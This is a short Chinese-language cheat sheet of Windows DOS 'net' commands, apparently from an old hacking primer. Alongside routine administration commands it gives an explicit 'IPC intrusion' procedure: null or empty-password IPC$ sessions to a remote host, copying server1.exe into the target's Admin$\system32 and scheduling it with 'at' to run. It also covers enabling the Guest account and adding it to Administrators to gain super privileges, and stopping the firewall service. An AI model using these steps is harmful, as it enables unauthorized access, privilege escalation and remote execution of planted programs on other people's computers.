常用DOS命令

net share abc$=c:\ 将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录)

net share c$ /del 禁止C$共享

net use z: \\*.*.*.*\C$ 把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z：盘

net use c: /del 删除映射的c盘

net use * /del /y 删除全部

net start 显示本地主机当前服务

net start telnet 启动 Telnet 服务

net start Server 启动 Server 服务 (IPC$ 和共享要靠这个服务)

net stop Messenger 停止信使服务(不会在有烦人的Win的弹出广告了)!

net stop server 停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵)

net user 得到本地主机的用户列表

net user guest /active:yes 将停用的guest帐号激活(变为可用)

net user guest 888888 把 Guest 帐号的密码改为 888888

net localgroup Administrators guest /add 把 Guest 加到Administrators组中(这样你就有了超级权限了)

net view \\*.*.*.* 查看指定IP主机上的共享

nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表

net share 查看本地主机的共享资源(本地的默认共享也可以看到)

net use \\*.*.*.*\ipc$ "" /user:"" 建立空连接

telnet *.*.*.* 90 连接对方机子的telnet,端口为90

ipconfig 查看本机的IP信息

入侵ipc过程序命令

-----------------------------------------------

net use \\*.*.*.*\ipc$ "" /user:"Administrator" 建立用户名为 Administrator 密码为空的连接

copy server1.exe \\*.*.*.*\Admin$\system32 即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内

net time \\*.*.*.* 查看远程主机的当前时间

at \\*.*.*.* 14:00 server1.exe 在对方机子添加一个在 14:00 运行 server1.exe 的任务

netstat [-r] [-s] [-n] [-a]

参数含义：

-r 显示本机路由表的内容；

-s 显示每个协议的使用状态（包括TCP协议、UDP协议、IP协议）；

-n 以数字表格形式显示地址和端口；

-a 显示所有主机的端口号。

net stop sharedaccess 关闭防火墙

kill 强行关闭进程